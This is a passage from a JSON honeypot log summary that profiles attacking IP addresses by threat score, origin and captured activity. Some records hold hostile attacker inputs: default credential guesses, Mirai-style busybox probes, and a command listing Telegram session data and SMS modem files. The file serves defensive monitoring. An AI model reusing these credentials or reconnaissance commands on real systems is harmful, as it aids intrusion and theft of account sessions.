    },
    "66.167.166.156": {
      "attack_count": 50,
      "first_seen": "2026-03-05T07:18:11.899Z",
      "last_seen": "2026-03-05T07:23:36.214Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 4.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T07:18:11.899000+00:00",
        "last_seen_30d": "2026-03-05T07:24:42.789000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "110.36.76.43": {
      "attack_count": 48,
      "first_seen": "2026-03-30T02:55:36.002Z",
      "last_seen": "2026-03-30T03:00:47.550Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 38264,
      "as_org": "National WiMAXIMS environment",
      "threat_score": 30.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 73,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T02:55:36.002000+00:00",
        "last_seen_30d": "2026-03-30T03:01:54.877000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 25
      }
    },
    "211.106.188.119": {
      "attack_count": 34,
      "first_seen": "2026-03-16T04:18:48.277Z",
      "last_seen": "2026-03-16T04:20:37.672Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "admin",
        "root"
      ],
      "commands_executed": [
        "/ip cloud print",
        "cat /proc/cpuinfo",
        "echo Hi | cat -n",
        "ifconfig",
        "locate D877F783D5D3EF8Cs",
        "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*",
        "ps -ef | grep '[Mm]iner'",
        "ps | grep '[Mm]iner'",
        "uname -a"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gwanak-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 14.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 38,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T04:18:48.277000+00:00",
        "last_seen_30d": "2026-03-16T04:21:45.683000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 34,
        "Suricata": 4
      }
    },
    "114.111.54.188": {
      "attack_count": 33,
      "first_seen": "2026-03-14T16:14:51.114Z",
      "last_seen": "2026-03-28T23:32:04.330Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "orangepi",
        "root"
      ],
      "passwords_attempted": [
        "admin",
        "orangepi",
        "P",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": null,
      "asn": 54994,
      "as_org": "Meteverse Limited.",
      "threat_score": 50.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.4,
        "persistence": 12.5,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 69,
        "days_active_30d": 15,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-14T16:07:42.803000+00:00",
        "last_seen_30d": "2026-03-28T23:33:07.078000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 34,
        "Cowrie": 33,
        "Honeytrap": 2
      }
    },
    "110.37.52.120": {
      "attack_count": 30,
      "first_seen": "2026-03-15T03:49:04.567Z",
      "last_seen": "2026-03-15T03:52:18.934Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 38264,
      "as_org": "National WiMAXIMS environment",
      "threat_score": 13.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T03:49:04.567000+00:00",
        "last_seen_30d": "2026-03-15T03:53:19.575000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 16
      }
    },
    "122.96.31.125": {
      "attack_count": 26,
      "first_seen": "2026-03-16T06:45:01.791Z",
      "last_seen": "2026-03-16T06:50:13.379Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Wuxi",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 14.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 39,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T06:45:01.791000+00:00",
        "last_seen_30d": "2026-03-16T06:51:17.760000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 26,
        "Suricata": 13
      }
    },
    "171.6.240.71": {
      "attack_count": 24,
      "first_seen": "2026-03-26T15:25:42.055Z",
      "last_seen": "2026-03-26T20:22:01.617Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Phuket",
      "asn": 45758,
      "as_org": "Triple T Broadband Public Company Limited",
      "threat_score": 26.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.1,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 51,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T15:25:42.055000+00:00",
        "last_seen_30d": "2026-03-26T20:23:02.641000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 27,
        "Cowrie": 24
      }
    },
    "64.225.75.83": {
      "attack_count": 24,
      "first_seen": "2026-03-11T01:51:02.429Z",
      "last_seen": "2026-03-11T02:59:07.279Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "sol",
        "solana"
      ],
      "passwords_attempted": [
        "sol",
        "solana"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 9.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 40,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T01:48:01.009000+00:00",
        "last_seen_30d": "2026-03-11T03:00:13.601000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 16
      }
    },
    "184.105.139.69": {
      "attack_count": 21,
      "first_seen": "2026-03-09T06:44:43.140Z",
      "last_seen": "2026-03-31T04:54:16.742Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1",
        "Accept-Encoding: gzip",
        "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0",
        "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"
      ],
      "passwords_attempted": [
        "Accept: */*",
        "Host: 172.105.186.117:23",
        ""
      ],
      "commands_executed": [
        "Accept-Encoding: gzip",
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.client.version",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.2,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 265,
        "days_active_30d": 30,
        "ports_targeted_30d": 66,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-02T01:14:16+00:00",
        "last_seen_30d": "2026-03-31T14:48:04.448000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 152,
        "Honeytrap": 84,
        "Cowrie": 21,
        "Dionaea": 5,
        "ConPot": 2,
        "Miniprint": 1
      }
    },
    "195.170.37.250": {
      "attack_count": 15,
      "first_seen": "2026-03-02T12:43:06.305Z",
      "last_seen": "2026-03-02T12:46:09.858Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "666666",
        "admin",
        "root"
      ],
      "passwords_attempted": [
        "1111",
        "666666",
        "zlxx."
      ],
      "commands_executed": [
        "shell",
        "system",
        "cat /proc/mounts; /bin/busybox TDSTV",
        "cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox TDSTV",
        "enable",
        "sh"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Moscow",
      "asn": 8395,
      "as_org": "East Telecom Ltd.",
      "threat_score": 2.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T12:43:06.305000+00:00",
        "last_seen_30d": "2026-03-02T12:56:16.257000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 2
      }
    },
    "206.189.5.130": {
      "attack_count": 15,
      "first_seen": "2026-03-10T05:26:53.811Z",
      "last_seen": "2026-03-10T05:34:04.204Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "root"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download",
        "cowrie.session.params"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 7.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T05:26:53.811000+00:00",
        "last_seen_30d": "2026-03-10T05:35:10.326000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 7
      }
    },
    "167.94.138.173": {
      "attack_count": 10,
      "first_seen": "2026-03-13T19:28:09.231Z",
      "last_seen": "2026-03-23T03:59:15.353Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 62.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 22.0,
        "persistence": 18.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 159,
        "days_active_30d": 22,
        "ports_targeted_30d": 36,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-03-02T12:09:48+00:00",
        "last_seen_30d": "2026-03-23T22:15:29.819000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 99,
        "Honeytrap": 42,
        "Cowrie": 10,
        "H0neytr4p": 3,
        "Honeyaml": 3,
        "Dicompot": 1,
        "Dionaea": 1
      }
    },
    "167.94.138.187": {
      "attack_count": 10,
      "first_seen": "2026-03-09T08:30:37.680Z",
      "last_seen": "2026-03-16T20:36:38.542Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 59.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 23.0,
        "persistence": 17.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 201,
        "days_active_30d": 21,
        "ports_targeted_30d": 58,
        "honeypots_triggered_30d": 11,
        "first_seen_30d": "2026-03-02T03:21:23+00:00",
        "last_seen_30d": "2026-03-22T14:03:19.260000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 112,
        "Honeytrap": 56,
        "Cowrie": 10,
        "Redishoneypot": 6,
        "ElasticPot": 4,
        "Tanner": 4,
        "Dionaea": 3,
        "Adbhoney": 2,
        "ConPot": 2,
        "Ipphoney": 1,
        "Sentrypeer": 1
      }
    },
    "38.188.160.171": {
      "attack_count": 10,
      "first_seen": "2026-03-10T23:52:15.217Z",
      "last_seen": "2026-03-11T00:02:50.652Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "020587",
        "230589"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 8.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:52:15.217000+00:00",
        "last_seen_30d": "2026-03-11T00:03:55.458000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "47.250.188.100": {
      "attack_count": 10,
      "first_seen": "2026-03-15T22:13:12.188Z",
      "last_seen": "2026-03-15T22:13:52.072Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1",
        "User-Agent: curl/7.64.1"
      ],
      "passwords_attempted": [
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": "Kuala Lumpur",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 35.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.3,
        "persistence": 15.8,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 19,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-04T01:40:01.528000+00:00",
        "last_seen_30d": "2026-03-22T16:33:34.212000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 14,
        "Cowrie": 10,
        "Honeytrap": 3
      }
    },
    "91.236.116.50": {
      "attack_count": 7,
      "first_seen": "2026-03-20T16:48:39.237Z",
      "last_seen": "2026-03-20T16:48:50.217Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "0",
        "desliga",
        "qaz"
      ],
      "passwords_attempted": [
        "0",
        "123456",
        "desliga"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Stockholm",
      "asn": 42237,
      "as_org": "w1n ltd",
      "threat_score": 19.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 8,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T16:48:39.236000+00:00",
        "last_seen_30d": "2026-03-20T16:49:59.356000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 7
      }
    },
    "162.142.125.120": {
      "attack_count": 6,
      "first_seen": "2026-03-17T17:32:38.664Z",
      "last_seen": "2026-03-17T17:33:13.238Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 57.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 19.2,
        "persistence": 17.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 83,
        "days_active_30d": 21,
        "ports_targeted_30d": 26,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T01:42:01+00:00",
        "last_seen_30d": "2026-03-22T13:36:58.666000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 45,
        "Honeytrap": 24,
        "ConPot": 6,
        "Cowrie": 6,
        "Adbhoney": 2
      }
    },
    "199.45.154.152": {
      "attack_count": 6,
      "first_seen": "2026-03-05T16:58:47.348Z",
      "last_seen": "2026-03-05T16:59:24.349Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398722,
      "as_org": "Censys, Inc.",
      "threat_score": 55.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.2,
        "persistence": 19.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 33,
        "days_active_30d": 23,
        "ports_targeted_30d": 10,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T07:44:43+00:00",
        "last_seen_30d": "2026-03-25T18:25:03.008000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 15,
        "Honeytrap": 12,
        "Cowrie": 6
      }
    },
    "206.168.34.120": {
      "attack_count": 6,
      "first_seen": "2026-03-10T18:30:59.436Z",
      "last_seen": "2026-03-10T18:31:37.534Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 59.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.3,
        "persistence": 17.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 168,
        "days_active_30d": 21,
        "ports_targeted_30d": 39,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T23:48:28+00:00",
        "last_seen_30d": "2026-03-22T19:03:19.139000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 85,
        "Honeytrap": 75,
        "Cowrie": 6,
        "Dicompot": 1,
        "Dionaea": 1
      }
    },
    "64.226.113.38": {
      "attack_count": 6,
      "first_seen": "2026-03-22T18:10:52.467Z",
      "last_seen": "2026-03-22T18:10:53.096Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 17.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T18:10:52.467000+00:00",
        "last_seen_30d": "2026-03-22T18:12:01.569000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 6
      }
    },
    "172.86.127.236": {
      "attack_count": 5,
      "first_seen": "2026-03-27T05:46:24.447Z",
      "last_seen": "2026-03-27T05:46:27.438Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 14956,
      "as_org": "RouterHosting LLC",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T05:46:24.447000+00:00",
        "last_seen_30d": "2026-03-27T05:47:37.411000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "185.93.89.47": {
      "attack_count": 5,
      "first_seen": "2026-03-06T03:05:52.321Z",
      "last_seen": "2026-03-06T03:05:54.741Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "kelltech123!"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 9.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.6,
        "persistence": 5.0,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 6,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T11:48:24.779000+00:00",
        "last_seen_30d": "2026-03-08T03:22:07.205000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Suricata": 19,
        "Cowrie": 5,
        "Heralding": 5
      }
    },
    "36.32.156.7": {
      "attack_count": 5,
      "first_seen": "2026-03-27T05:52:40.389Z",
      "last_seen": "2026-03-27T05:52:42.321Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "7ujMko0admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T05:52:40.389000+00:00",
        "last_seen_30d": "2026-03-27T05:53:45.661000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "40.124.174.207": {
      "attack_count": 5,
      "first_seen": "2026-03-16T12:45:26.720Z",
      "last_seen": "2026-03-16T12:45:37.043Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 66.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.6,
        "persistence": 22.5,
        "diversity": 12,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 27,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-03T19:29:05.073000+00:00",
        "last_seen_30d": "2026-03-29T17:02:36.349000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 34,
        "Honeytrap": 6,
        "Cowrie": 5,
        "Tanner": 1
      }
    },
    "106.225.199.20": {
      "attack_count": 4,
      "first_seen": "2026-03-06T08:51:04.155Z",
      "last_seen": "2026-03-06T08:53:04.160Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 134238,
      "as_org": "CHINANET Jiangx province IDC network",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T08:51:04.155000+00:00",
